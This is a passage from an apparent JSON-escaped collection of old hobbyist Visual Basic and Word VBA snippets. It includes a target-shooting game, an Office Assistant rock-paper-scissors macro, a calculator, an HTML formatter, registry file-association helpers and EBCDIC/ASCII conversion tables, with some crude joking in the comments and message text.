False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nOption Explicit\nDim DeltaX\nDim DeltaY\nDim gTimerSpeed\nDim gGameOn As Boolean\nDim gHit As Boolean\nDim gSeconds\nDim gShots\nDim gTime\nPrivate Sub cmdExit_Click()\nUnload Form1\nEnd Sub\nPrivate Sub cmdReset_Click()\nPicture1.Picture = Picture3.Picture\nScreen.MousePointer = vbCrosshair\nTimer1.Interval = 0\nDeltaX = 100 ' Initialize variables.\nDeltaY = 100\ncmdStart.Visible = True\ncmdExit.Visible = True\ncmdReset.Visible = False\nEnd Sub\nPrivate Sub cmdStart_Click()\nPicture1.Picture = Picture3.Picture\nScreen.MousePointer = vbCrosshair\nTimer1.Interval = 1\ngTimerSpeed = 1\nDeltaX = 100 ' Initialize variables.\nDeltaY = 100\ncmdReset.Visible = False\ncmdStart.Visible = False\ncmdExit.Visible = False\ngHit = False\ngShots = 0\ngGameOn = True\ngTime = 0\ntmrSeconds.Interval = 1000\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\ngShots = gShots + 1\nEnd Sub\n\nPrivate Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nIf gGameOn = True Then\n Timer1.Interval = 0\n Picture1.Picture = Picture2.Picture\n Screen.MousePointer = Default\n cmdReset.Visible = True\n cmdExit.Visible = True\n gHit = True\n If gShots = 0 Then\n MsgBox \"It took you \" & gShots + 1 & \" shot and \" & gTime & \" seconds to kill him!\"\n ElseIf gShots > 0 Then\n MsgBox \"It took you \" & gShots + 1 & \" shots and \" & gTime & \" seconds to kill him!\"\n End If\n gGameOn = False\n tmrSeconds.Interval = 0\n Exit Sub\nElseIf gGameOn = False Then\n Exit Sub\nEnd If\nEnd Sub\nPrivate Sub Timer1_Timer()\nIf gHit = True Then\n Timer1.Interval = 0\n Exit Sub\nEnd If\nIf gTimerSpeed < 50 Then gTimerSpeed = gTimerSpeed + 1\nTimer1.Interval = gTimerSpeed\n Picture1.Move Picture1.Left + DeltaX, Picture1.Top + DeltaY\n If Picture1.Left < ScaleLeft Then DeltaX = 100\n If Picture1.Left + Picture1.Width > ScaleWidth + ScaleLeft Then\n DeltaX = -100\n End If\n If Picture1.Top < ScaleTop Then DeltaY = 100\n If Picture1.Top + Picture1.Height > ScaleHeight + ScaleTop Then\n DeltaY = -100\n End If\nEnd Sub\nPrivate Sub tmrSeconds_Timer()\ngTime = gTime + 1\nEnd Sub\n\n"},{"WorldId":1,"id":1219,"LineNumber":1,"line":"'This bit goes in a form\n'To create the form follow these instructions\n'1 Open word, go to the \"tools\" menu, select \"macros\" then \"Visual Basic Editor\"\n'2 Make a form, call the form frmFight\n'3 Add three Option buttons, call these optPaper, optScissors and optStone\n'make sure the text on them says Paper, Scissors and Stone respectively\n'4 Add two labels, call these lblWinsLossesDraws and lblTimerObject\n'5 Add two Command buttons, call these cmdChosen and cmdExit\n'6 Add the additional control \"Timer Object\" (ietimer.ocx)\n'7 Add a timer control to the form call this tmrTimer\n'8 Add the following code to the form\n'Note1: This was designed to play against clipit assistant but you can use any,\n'it is simple to change the animations and office97 has a full help file on this\n'Note2: To convert in to Visual Basic just remove all reference to Assistant in the form\n'code, and follow instructions above (for 6 just use the normal VBtimer)\n'Note3: You will need the ietimer ocx to get this to work in office97 (it works in VB without)\n'Note4: If you like this code please tell me at edhockaday@hotmail.com, have fun with it!!!\nOption Explicit\nDim gVar1\nDim gVar2\nDim gDraw As Boolean\nDim gMessage\nDim gWins\nDim gLosses\nDim gDraws\nDim gTimerObject\nDim OptionChosen\n'**************************************\n'* Macros by Ed Hockaday *\n'* 15\\12\\98 *\n'**************************************\nPublic Sub sDraw()\nIf gVar1 = gVar2 Then\n sConvertNumberToText\n MsgBox \"You both chose \" & gVar1\n gDraws = gDraws + 1\n gDraw = True\n Assistant.Visible = True\n Assistant.Animation = msoAnimationLookUp\nEnd If\nEnd Sub\nPublic Sub sConvertTextToNumber()\nIf gVar1 = \"Paper\" Then\n gVar1 = 1\nElseIf gVar1 = \"Scissors\" Then\n gVar1 = 2\nElseIf gVar1 = \"Stone\" Then\n gVar1 = 3\nEnd If\nIf gVar2 = \"Paper\" Then\n gVar2 = 1\nElseIf gVar2 = \"Scissors\" Then\n gVar2 = 2\nElseIf gVar2 = \"Stone\" Then\n gVar2 = 3\nEnd If\nEnd Sub\nPublic Sub sConvertNumberToText()\nIf gVar1 = 1 Then\n gVar1 = \"Paper\"\nElseIf gVar1 = 2 Then\n gVar1 = \"Scissors\"\nElseIf gVar1 = 3 Then\n gVar1 = \"Stone\"\nEnd If\nIf gVar2 = 1 Then\n gVar2 = \"Paper\"\nElseIf gVar2 = 2 Then\n gVar2 = \"Scissors\"\nElseIf gVar2 = 3 Then\n gVar2 = \"Stone\"\nEnd If\nEnd Sub\nPublic Sub sVar1Win()\nAssistant.Visible = True\nAssistant.Animation = msoAnimationGetArtsy\nMsgBox \"You win\"\ngWins = gWins + 1\nEnd Sub\nPublic Sub sVar2Win()\nAssistant.Visible = True\nAssistant.Animation = msoAnimationCharacterSuccessMajor\nMsgBox \"You lose\"\ngLosses = gLosses + 1\nEnd Sub\nPublic Sub sReconcile()\nIf gVar1 = 1 Then\n If gVar2 = 3 Then\n gMessage = \" wraps \"\n sVar1Win\n ElseIf gVar2 = 2 Then\n gMessage = \" gets cut by \"\n sVar2Win\n End If\nElseIf gVar1 = 2 Then\n If gVar2 = 1 Then\n gMessage = \" cuts \"\n sVar1Win\n ElseIf gVar2 = 3 Then\n gMessage = \" is blunted by \"\n sVar2Win\n End If\nElseIf gVar1 = 3 Then\n If gVar2 = 2 Then\n gMessage = \" blunts \"\n sVar1Win\n ElseIf gVar2 = 1 Then\n gMessage = \" gets wrapped by \"\n sVar2Win\n End If\nEnd If\nEnd Sub\nPublic Sub sTimerObject()\nIf gTimerObject = \"Paper\" Then\n gTimerObject = \"Stone\"\nElseIf gTimerObject = \"Stone\" Then\n gTimerObject = \"Scissors\"\nElseIf gTimerObject = \"Scissors\" Then\n gTimerObject = \"Paper\"\nEnd If\nEnd Sub\nPublic Sub sLanding()\ngVar2 = Int((3 * Rnd) + 1)\nIf gVar2 = 1 Then\n gVar2 = \"Paper\"\nElseIf gVar2 = 2 Then\n gVar2 = \"Scissors\"\nElseIf gVar2 = 3 Then\n gVar2 = \"Stone\"\nEnd If\nlblTimerObject.Caption = \"Clipit chooses \" & gVar2\nEnd Sub\nPrivate Sub cmdChosen_Click()\nAssistant.Visible = True\nAssistant.Animation = msoAnimationIdle\ngTimerObject = \"Paper\"\ngDraw = False\ngMessage = \"\"\ngVar1 = \"\"\n'gVar2 = Int((3 * Rnd) + 1)\nIf gWins = \"\" Then gWins = \"0\"\nIf gLosses = \"\" Then gLosses = \"0\"\nIf gDraws = \"\" Then gDraws = \"0\"\nIf optPaper.Value = True Then\n gVar1 = 1\nElseIf optScissors.Value = True Then\n gVar1 = 2\nElseIf optStone.Value = True Then\n gVar1 = 3\nEnd If\ntmrTimer.Interval = 1\nEnd Sub\nPrivate Sub cmdExit_Click()\nIf gWins < gLosses Then\n With Assistant\n .Visible = True\n .Animation = msoAnimationGetAttentionMajor\n With .NewBalloon\n .Heading = \"Quit while you're ahead...chicken\"\n .Text = \"...come on have another go?\"\n .Labels(1).Text = \"Yes!\"\n .Labels(2).Text = \"No!\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\n End With\n If OptionChosen = 1 Then\n Exit Sub\n ElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationDisappear\n Assistant.Visible = False\n MsgBox \"Macros by Ed Hockaday - 15\\12\\98\"\n ' Pass these macros on, but change my name and I will find you and kill you\n ' Thank you kindly!!!\n Unload frmFight\n End If\nElseIf gWins > gLosses Then\n With Assistant\n .Visible = True\n .Animation = msoAnimationGetAttentionMajor\n With .NewBalloon\n .Heading = \"Hahaha I beat you...\"\n .Text = \"...don't you want another go?\"\n .Labels(1).Text = \"Yes!\"\n .Labels(2).Text = \"No!\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\n End With\n If OptionChosen = 1 Then\n Exit Sub\n ElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationDisappear\n Assistant.Visible = False\n Unload frmFight\n End If\nElseIf gWins = gLosses Then\n With Assistant\n .Visible = True\n .Animation = msoAnimationGetAttentionMajor\n With .NewBalloon\n .Heading = \"Come on it's a draw...\"\n .Text = \"...lets finish it...\"\n .Labels(1).Text = \"Yes!\"\n .Labels(2).Text = \"No!\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\n End With\n If OptionChosen = 1 Then\n Exit Sub\n ElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationDisappear\n Assistant.Visible = False\n Unload frmFight\n End If\nEnd If\nEnd Sub\nPrivate Sub tmrTimer_Timer()\nsTimerObject\nlblTimerObject.Caption = gTimerObject\ntmrTimer.Interval = tmrTimer.Interval + 10\nIf tmrTimer.Interval > 350 Then\n tmrTimer.Interval = 0\n sLanding\n sConvertTextToNumber\n sDraw\n If gDraw = True Then\n lblWinsLossesDraws.Caption = gWins & \" wins, \" & gLosses & \" losses, \" & gDraws & \" draws.\"\n Exit Sub\n End If\n sReconcile\n sConvertNumberToText\n lblWinsLossesDraws.Caption = gWins & \" wins, \" & gLosses & \" losses, \" & gDraws & \" draws.\"\n MsgBox gVar1 & gMessage & gVar2\nEnd If\nEnd Sub\n\n'***************************************\n'This bit goes in the ThisDocument part (found in the Microsoft word object folder in the project window...)\n'**************************************\n'* Macros by Ed Hockaday *\n'* 15\\12\\98 *\n'**************************************\nSub docstart()\nDim OptionChosen As Integer\nWith Assistant\n.Visible = True\n.Animation = msoAnimationGetAttentionMajor\n With .NewBalloon\n .Heading = \"Hi...\"\n .Text = \"...what to have some fun?\"\n .Labels(1).Text = Chr(34) & \"Yeah, OK!\" & Chr(34)\n .Labels(2).Text = Chr(34) & \"Not really!\" & Chr(34)\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\nEnd With\nIf OptionChosen = 1 Then\n frmFight.Show\nElseIf OptionChosen = 2 Then\n No1\nEnd If\nEnd Sub\nPrivate Sub Document_Open()\ndocstart\nEnd Sub\nSub No1()\nWith Assistant\n.Visible = True\n.Animation = msoAnimationCharacterSuccessMajor\n With .NewBalloon\n .Heading = \"Oh come on...\"\n .Text = \"...play with me...\"\n .Labels(1).Text = \"Play...\"\n .Labels(2).Text = \"Leave...\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\nEnd With\nIf OptionChosen = 1 Then\n frmFight.Show\nElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationDisappear\n Assistant.Visible = False\nEnd If\nEnd Sub\nSub Yes1()\nWith Assistant\n.Visible = True\n.Animation = msoAnimationGetWizardy\n With .NewBalloon\n .Heading = \"Fuck you small balls...\"\n .Text = \"...are you starting with me?\"\n .Labels(1).Text = \"Fight\"\n .Labels(2).Text = \"Run away\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\nEnd With\nIf OptionChosen = 1 Then\n Fight\nElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationCharacterSuccessMajor\nEnd If\nEnd Sub\nSub Fight()\nWith Assistant\n.Visible = True\n.Animation = msoAnimationLookUp\nEnd With\n'frmFight.Show\nEnd Sub\n'*******************************************\n\n"},{"WorldId":1,"id":1189,"LineNumber":1,"line":"Dim calcarray(0 To 3) As Double\nDim holder As Integer\nDim operation As Integer\nDim decicount As Integer\nDim newnum As Integer\nDim clearcount As Integer\nDim memstorebut(1 To 8) As Double\nDim location As Single\n\nPrivate Sub clear_Click()\n If clearcount = 0 Then\n txtcal.Text = \"\"\n clearcount = 1\n Else\n calcarray(0) = 0\n clearcount = 0\n End If\n decicount = 0\nEnd Sub\n\nPrivate Sub cmdInfo_Click()\n Dim Sure As String\n Sure = \"Created By James Bergeron, For more info e-mail berg0036@algonquinc.on.ca\"\n \n Rem Get results from the button click (action)\n ButtonClicked = MsgBox(Sure, 0 + 256 + 32, \"Info\")\nEnd Sub\nPrivate Sub decimal_Click()\n clearcount = 0\n If decicount = 0 Then\n txtcal.Text = txtcal.Text + decimal.Caption\n decicount = 1\n Else\n txtcal.Text = txtcal.Text\n End If\nEnd Sub\nPrivate Sub digit_Click(Index As Integer)\n If newnum = 1 Then\n txtcal.Text = \"\"\n txtcal.Text = txtcal.Text + digit(Index).Caption\n calcarray(holder) = txtcal.Text\n newnum = 0\n Else\n txtcal.Text = txtcal.Text + digit(Index).Caption\n calcarray(holder) = txtcal.Text\n End If\n clearcount = 0\nEnd Sub\n\nPrivate Sub equal_Click()\n Select Case operation\n \n Case 1\n txtcal.Text = calcarray(holder - 1) + calcarray(holder)\n calcarray(0) = txtcal.Text\n Case 2\n txtcal.Text = calcarray(holder - 1) - calcarray(holder)\n calcarray(0) = txtcal.Text\n Case 3\n txtcal.Text = calcarray(holder - 1) * calcarray(holder)\n calcarray(0) = txtcal.Text\n Case 4\n If calcarray(holder) = 0 Then\n txtcal.Text = \"Error, can't divide by 0\"\n Else\n txtcal.Text = calcarray(holder - 1) / calcarray(holder)\n calcarray(0) = txtcal.Text\n End If\n Case Else\n txtcal.Text = txtcal.Text\n End Select\n operation = 5\n holder = 0\n decicount = 0\n newnum = 1\n clearcount = 0\nEnd Sub\nPrivate Sub Form_Load()\noperation = 0\nlocation = 0\ndecicount = 0\nEnd Sub\nPrivate Sub memclear_Click()\n clearcount = 0\n For i = 1 To 8\n memstorebut(i) = 0\n Next i\n location = 0\n \nEnd Sub\nPrivate Sub memrecall_Click()\n clearcount = 0\n newnum = 1\n If location >= 1 Then\n txtcal.Text = memstorebut(location)\n calcarray(holder) = memstorebut(location)\n memstorebut(location) = 0\n location = location - 1\n End If\nEnd Sub\nPrivate Sub memstore_Click()\n clearcount = 0\n If location <= 7 And txtcal.Text > \"\" Then\n location = location + 1\n memstorebut(location) = txtcal.Text\n End If\nEnd Sub\n\nPrivate Sub mult_Click()\n Call equal_Click\n holder = holder + 1\n operation = 3\nEnd Sub\nPrivate Sub plus_Click()\n Call equal_Click\n holder = holder + 1\n operation = 1\nEnd Sub\nPrivate Sub div_Click()\n Call equal_Click\n holder = holder + 1\n operation = 4\nEnd Sub\n\nPrivate Sub sub_Click()\n Call equal_Click\n holder = holder + 1\n operation = 2\nEnd Sub\n"},{"WorldId":1,"id":1538,"LineNumber":1,"line":"Option Explicit\n\nType tag\n text As String\n start As Double\n length As Double\nEnd Type\n\n'*********************************************************************\nPublic Function SimpleFormat(target As String) As String\n\nSimpleFormat = ReplaceSubString(CompactFormat(target), \"><\", \">\" & vbCrLf & \"<\")\n\nEnd Function\n\n'*********************************************************************\nPublic Function CompactFormat(target As String) As String\n\nDim a As String\n\na = ReplaceSubString(target, vbCrLf, \"\")\n\na = ReplaceSubString(a, Chr(9), \" \")\n\na = ReplaceSubString(a, \" \", \" \")\na = ReplaceSubString(a, \" \", \" \")\na = ReplaceSubString(a, \" \", \" \")\na = ReplaceSubString(a, \" \", \" \")\n\na = Clean(a)\n\nCompactFormat = a\n\nEnd Function\n\n'*********************************************************************\nPublic Function HierarchalFormat(target As String) As String\n \n target = ReplaceSubString(target, vbCrLf, \"\")\n target = ReplaceSubString(target, vbTab, \"\")\n \n target = Eformat(target)\n \n HierarchalFormat = Clean(target)\n\nEnd Function\n\n'*********************************************************************\n'this lines denotes separation from public access and inner workings\n'*********************************************************************\n\nPrivate Function Clean(targ As String) As String\n\ntarg = ReplaceSubString(targ, \" >\", \">\")\ntarg = ReplaceSubString(targ, \"< \", \"<\")\ntarg = ReplaceSubString(targ, \"> <\", \"><\")\n\nClean = targ\n\nEnd Function\n\nPublic Function ReplaceSubString(str As String, ByVal substr As String, ByVal newsubstr As String)\n\nDim pos As Double\nDim startPos As Double\nDim new_str As String\n\n startPos = 1\n pos = InStr(str, substr)\n Do While pos > 0\n new_str = new_str & Mid$(str, startPos, pos - startPos) & newsubstr\n startPos = pos + Len(substr)\n pos = InStr(startPos, str, substr)\n Loop\n new_str = new_str & Mid$(str, startPos)\n ReplaceSubString = new_str\n \nEnd Function\n\nPrivate Function Eformat(str As String) As String\n On Error Resume Next\n\n Dim startPos As Double\n Dim endPos As Double\n\n Dim indentationLevel As Double\n\n Dim new_str As String\n\n indentationLevel = 0\n startPos = 0\n endPos = 0\n\n If (Mid$(str, 1, 1) <> \"<\") Then\n \n Dim tempEnd As Double\n tempEnd = InStr(1, str, \"<\")\n If tempEnd = 0 Then\n tempEnd = Len(str)\n End If\n \n new_str = Mid$(str, 1, tempEnd)\n \n End If\n\n Do\n\n DoEvents\n\n If InStr(startPos + 1, str, \"</\") <> 0 And InStr(startPos + 1, str, \"</\") <= InStr(startPos + 1, str, \"<\") Then\n\n startPos = InStr(startPos + 1, str, \"</\")\n endPos = InStr(startPos + 1, str, \"<\")\n\n If endPos = 0 Then\n endPos = Len(str) + 1\n End If\n\n indentationLevel = indentationLevel - 1\n new_str = new_str & vbCrLf & String(indentationLevel, vbTab) & Mid$(str, startPos, endPos - startPos)\n\n Else\n\n startPos = InStr(startPos + 1, str, \"<\")\n endPos = InStr(startPos + 1, str, \"<\")\n\n If endPos = 0 Then\n endPos = Len(str) + 1\n End If\n\n new_str = new_str & vbCrLf & String(indentationLevel, vbTab) & Mid$(str, startPos, endPos - startPos)\n \n Dim tagName As String\n tagName = LCase(returnNameOfTag(returnNextTag(str, startPos)))\n If tagName <> \"br\" And tagName <> \"hr\" And tagName <> \"img\" And tagName <> \"meta\" And tagName <> \"applet\" And tagName <> \"p\" And tagName <> \"!--\" And tagName <> \"input\" And tagName <> \"!doctype\" And tagName <> \"area\" Then\n indentationLevel = indentationLevel + 1\n End If\n \n End If\n\n Loop While startPos > 0\n\n Eformat = new_str\n\nEnd Function\n\n\nPublic Function returnNextTag(ByRef str As String, ByVal start As Double) As tag\n On Error Resume Next\n\n Dim endPos As Double\n\n start = InStr(start + 1, str, \"<\")\n endPos = InStr(start + 1, str, \">\")\n\n returnNextTag.text = Mid$(str, start, endPos - start + 1)\n returnNextTag.start = start\n returnNextTag.length = endPos - start\n\nEnd Function\n\nPublic Function returnNameOfTag(ByRef str As tag) As String\n On Error Resume Next\n\n Dim endPos As Double\n Dim start As Double\n\n start = 2\n endPos = InStr(1, str.text, \" \")\n If Mid$(str.text, 2, 3) = \"!--\" Then\n endPos = 5\n ElseIf endPos = 0 Then\n endPos = InStr(1, str.text, \">\")\n End If\n\n returnNameOfTag = Mid$(str.text, start, endPos - start)\n\nEnd Function"},{"WorldId":1,"id":2039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1229,"LineNumber":1,"line":"1) Create a new project (Standard EXE).\n2) Place a label on the form at the bottom with whichever BackColor you set the form's BackColor to, and leave all the other properties alone except these:\n A) Alignment: 2 - Center\n B) Caption: This is a sample scroller.\n3) On the form, place two picture boxes (one on top of the form, and one on the bottom) with these properties set. (Leave all others alone.)\n A) BackColor: &H80000012&\n B) BorderStyle: 0 - None\n NOTE: Be sure that the picture box is covering the label.\n4) Place a timer on the form, and set the interval to '1'. And inside the timer, copy and paste this code:\n Label1.Top = (Label1.Top - 20)\n If Label1.Top = 0 Then '0 is the location topmost form coordinate\n Label1.Top = Me.Height\n End If\n5) Run and test the program. Viola! You now have created the most simple scroller program available! If you have any problems with this code, which you shouldn't, please e-mail me at: madcat47@hotmail.com"},{"WorldId":1,"id":5822,"LineNumber":1,"line":"Private Declare Function sndPlaySound Lib \"winmm.dll\" Alias \"sndPlaySoundA\" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nPrivate Sub PlayWav(Filename As String)\n sndPlaySound (Filename), &H80\nEnd Sub\nPrivate Sub cmdSound_Click()\n PlayWav \"C:\\WINDOWS\\Media\\Chord.wav\"\n 'Chord.wav is a file that comes along with both \n 'Windows 95 and 98 Operating Systems. If your\n 'system is missing this file, specify a different WAV.\nEnd Sub\n'Now, press F5, or the Run button in the Visual Basic\n'Environment, and then click the button. If you enjoy \n'this source code, please let me know by posting feedback.\n'Thanks!"},{"WorldId":1,"id":1233,"LineNumber":1,"line":"'In a module:\n'-----------------------------------------\nPublic Sub savekey(Hkey As Long, strPath As String)\nDim keyhand&\nr = RegCreateKey(Hkey, strPath, keyhand&)\nr = RegCloseKey(keyhand&)\nEnd Sub\nPublic Function getstring(Hkey As Long, strPath As String, strValue As String)\nDim keyhand As Long\nDim datatype As Long\nDim lResult As Long\nDim strBuf As String\nDim lDataBufSize As Long\nDim intZeroPos As Integer\nr = RegOpenKey(Hkey, strPath, keyhand)\nlResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)\nIf lValueType = REG_SZ Then\n strBuf = String(lDataBufSize, \" \")\n lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)\n If lResult = ERROR_SUCCESS Then\n intZeroPos = InStr(strBuf, Chr$(0))\n If intZeroPos > 0 Then\n getstring = Left$(strBuf, intZeroPos - 1)\n Else\n getstring = strBuf\n End If\n End If\nEnd If\nEnd Function\nPublic Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)\nDim keyhand As Long\nDim r As Long\nr = RegCreateKey(Hkey, strPath, keyhand)\nr = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\nr = RegCloseKey(keyhand)\nEnd Sub\nFunction getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long\nDim lResult As Long\nDim lValueType As Long\nDim lBuf As Long\nDim lDataBufSize As Long\nDim r As Long\nDim keyhand As Long\nr = RegOpenKey(Hkey, strPath, keyhand)\nlDataBufSize = 4\nlResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)\nIf lResult = ERROR_SUCCESS Then\n If lValueType = REG_DWORD Then\n getdword = lBuf\n End If\nEnd If\nr = RegCloseKey(keyhand)\nEnd Function\nFunction SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)\n Dim lResult As Long\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)\n r = RegCloseKey(keyhand)\nEnd Function\nPublic Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)\nDim r As Long\nr = RegDeleteKey(Hkey, strKey)\nEnd Function\nPublic Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)\nDim keyhand As Long\nr = RegOpenKey(Hkey, strPath, keyhand)\nr = RegDeleteValue(keyhand, strValue)\nr = RegCloseKey(keyhand)\nEnd Function\n'-------------------------------------------\n'On a Form:\n'----------------------------------------------\n Private Declare Function fCreateShellLink Lib \"STKIT432.DLL\" (ByVal _\n lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal _\n lpstrLinkPath As String, ByVal lpstrLinkArgs As String) As Long\n\nPrivate Sub Form_Load()\nDim strString As String\nDim lngDword As Long\nIf Command$ <> \"%1\" Then\nMsgbox (Command$ & \" is the file you need to open!\"), vbInformation\n 'Add to Recent file folder\n lReturn = fCreateShellLink(\"..\\..\\Recent\", _\n Command$, Command$, \"\")\nEnd If\n'create an entry in the class key\nCall savestring(HKEY_CLASSES_ROOT, \"\\.xyz\", \"\", \"xyzfile\")\n'content type\nCall savestring(HKEY_CLASSES_ROOT, \"\\.xyz\", \"Content Type\", \"text/plain\")\n'name\nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\", \"\", \"This is where you type the description for these files\")\n'edit flags\nCall SaveDword(HKEY_CLASSES_ROOT, \"\\xyzfile\", \"EditFlags\", \"0000\")\n'file's icon (can be an icon file, or an icon located within a dll file)\nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\\DefaultIcon\", \"\", App.Path & \"\\ICON.ico\")\n'Shell\nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\\Shell\", \"\", \"\")\n'Shell Open\nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\\Shell\\Open\", \"\", \"\")\n'Shell open command \nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\\Shell\\Open\\command\", \"\", App.Path & \"\\Project1.exe %1\")\nEnd Sub\n'----------------------------------------------"},{"WorldId":1,"id":5897,"LineNumber":1,"line":"Function ebcdic_to_ascii(ByVal buffer As String) As String\n Dim ebcdic_to_ascii_tab As Variant\n Dim i As Long, bufferlen As Long\n ebcdic = Array( _\n &H0, &H1, &H2, &H3, &H9C, &H9, &H86, &H7F, &H97, &H8D, &H8E, &HB, &HC, &HD, &HE, &HF, _\n &H10, &H11, &H12, &H13, &H9D, &H85, &H8, &H87, &H18, &H19, &H92, &H8F, &H1C, &H1D, &H1E, &H1F, _\n &H80, &H81, &H82, &H83, &H84, &HA, &H17, &H1B, &H88, &H89, &H8A, &H8B, &H8C, &H5, &H6, &H7, _\n &H90, &H91, &H16, &H93, &H94, &H95, &H96, &H4, &H98, &H99, &H9A, &H9B, &H14, &H15, &H9E, &H1A, _\n &H20, &HA0, &HA1, &HA2, &HA3, &HA4, &HA5, &HA6, &HA7, &HA8, &H5B, &H2E, &H3C, &H28, &H2B, &H21, _\n &H26, &HA9, &HAA, &HAB, &HAC, &HAD, &HAE, &HAF, &HB0, &HB1, &H5D, &H24, &H2A, &H29, &H3B, &H5E, _\n &H2D, &H2F, &HB2, &HB3, &HB4, &HB5, &HB6, &HB7, &HB8, &HB9, &H7C, &H2C, &H25, &H5F, &H3E, &H3F, _\n &HBA, &HBB, &HBC, &HBD, &HBE, &HBF, &HC0, &HC1, &HC2, &H60, &H3A, &H23, &H40, &H27, &H3D, &H22, _\n &HC3, &H61, &H62, &H63, &H64, &H65, &H66, &H67, &H68, &H69, &HC4, &HC5, &HC6, &HC7, &HC8, &HC9, _\n &HCA, &H6A, &H6B, &H6C, &H6D, &H6E, &H6F, &H70, &H71, &H72, &HCB, &HCC, &HCD, &HCE, &HCF, &HD0, _\n &HD1, &H7E, &H73, &H74, &H75, &H76, &H77, &H78, &H79, &H7A, &HD2, &HD3, &HD4, &HD5, &HD6, &HD7, _\n &HD8, &HD9, &HDA, &HDB, &HDC, &HDD, &HDE, &HDF, &HE0, &HE1, &HE2, &HE3, &HE4, &HE5, &HE6, &HE7, _\n &H7B, &H41, &H42, &H43, &H44, &H45, &H46, &H47, &H48, &H49, &HE8, &HE9, &HEA, &HEB, &HEC, &HED, _\n &H7D, &H4A, &H4B, &H4C, &H4D, &H4E, &H4F, &H50, &H51, &H52, &HEE, &HEF, &HF0, &HF1, &HF2, &HF3, _\n &H5C, &H9F, &H53, &H54, &H55, &H56, &H57, &H58, &H59, &H5A, &HF4, &HF5, &HF6, &HF7, &HF8, &HF9, _\n &H30, &H31, &H32, &H33, &H34, &H35, &H36, &H37, &H38, &H39, &HFA, &HFB, &HFC, &HFD, &HFE, &HFF)\n \n bufferlen = Len(buffer)\n For i = 1 To bufferlen\n Mid$(buffer, i, 1) = Chr$(ebcdic(Asc(Mid$(buffer, i, 1))))\n Next\n ebcdic_to_ascii = buffer\nEnd Function\n"},{"WorldId":1,"id":5902,"LineNumber":1,"line":"Function ascii_to_ebcdic(ByVal buffer As String) As String\n Dim ascii As Variant\n Dim i As Long, bufferlen As Long\n ascii = Array( _\n &H0, &H1, &H2, &H3, &H37, &H2D, &H2E, &H2F, &H16, &H5, &H25, &HB, &HC, &HD, &HE, &HF, _\n &H10, &H11, &H12, &H13, &H3C, &H3D, &H32, &H26, &H18, &H19, &H3F, &H27, &H1C, &H1D, &H1E, &H1F, _\n &H40, &H4F, &H7F, &H7B, &H5B, &H6C, &H50, &H7D, &H4D, &H5D, &H5C, &H4E, &H6B, &H60, &H4B, &H61, _\n &HF0, &HF1, &HF2, &HF3, &HF4, &HF5, &HF6, &HF7, &HF8, &HF9, &H7A, &H5E, &H4C, &H7E, &H6E, &H6F, _\n &H7C, &HC1, &HC2, &HC3, &HC4, &HC5, &HC6, &HC7, &HC8, &HC9, &HD1, &HD2, &HD3, &HD4, &HD5, &HD6, _\n &HD7, &HD8, &HD9, &HE2, &HE3, &HE4, &HE5, &HE6, &HE7, &HE8, &HE9, &H4A, &HE0, &H5A, &H5F, &H6D, _\n &H79, &H81, &H82, &H83, &H84, &H85, &H86, &H87, &H88, &H89, &H91, &H92, &H93, &H94, &H95, &H96, _\n &H97, &H98, &H99, &HA2, &HA3, &HA4, &HA5, &HA6, &HA7, &HA8, &HA9, &HC0, &H6A, &HD0, &HA1, &H7, _\n &H20, &H21, &H22, &H23, &H24, &H15, &H6, &H17, &H28, &H29, &H2A, &H2B, &H2C, &H9, &HA, &H1B, _\n &H30, &H31, &H1A, &H33, &H34, &H35, &H36, &H8, &H38, &H39, &H3A, &H3B, &H4, &H14, &H3E, &HE1, _\n &H41, &H42, &H43, &H44, &H45, &H46, &H47, &H48, &H49, &H51, &H52, &H53, &H54, &H55, &H56, &H57, _\n &H58, &H59, &H62, &H63, &H64, &H65, &H66, &H67, &H68, &H69, &H70, &H71, &H72, &H73, &H74, &H75, _\n &H76, &H77, &H78, &H80, &H8A, &H8B, &H8C, &H8D, &H8E, &H8F, &H90, &H9A, &H9B, &H9C, &H9D, &H9E, _\n &H9F, &HA0, &HAA, &HAB, &HAC, &HAD, &HAE, &HAF, &HB0, &HB1, &HB2, &HB3, &HB4, &HB5, &HB6, &HB7, _\n &HB8, &HB9, &HBA, &HBB, &HBC, &HBD, &HBE, &HBF, &HCA, &HCB, &HCC, &HCD, &HCE, &HCF, &HDA, &HDB, _\n &HDC, 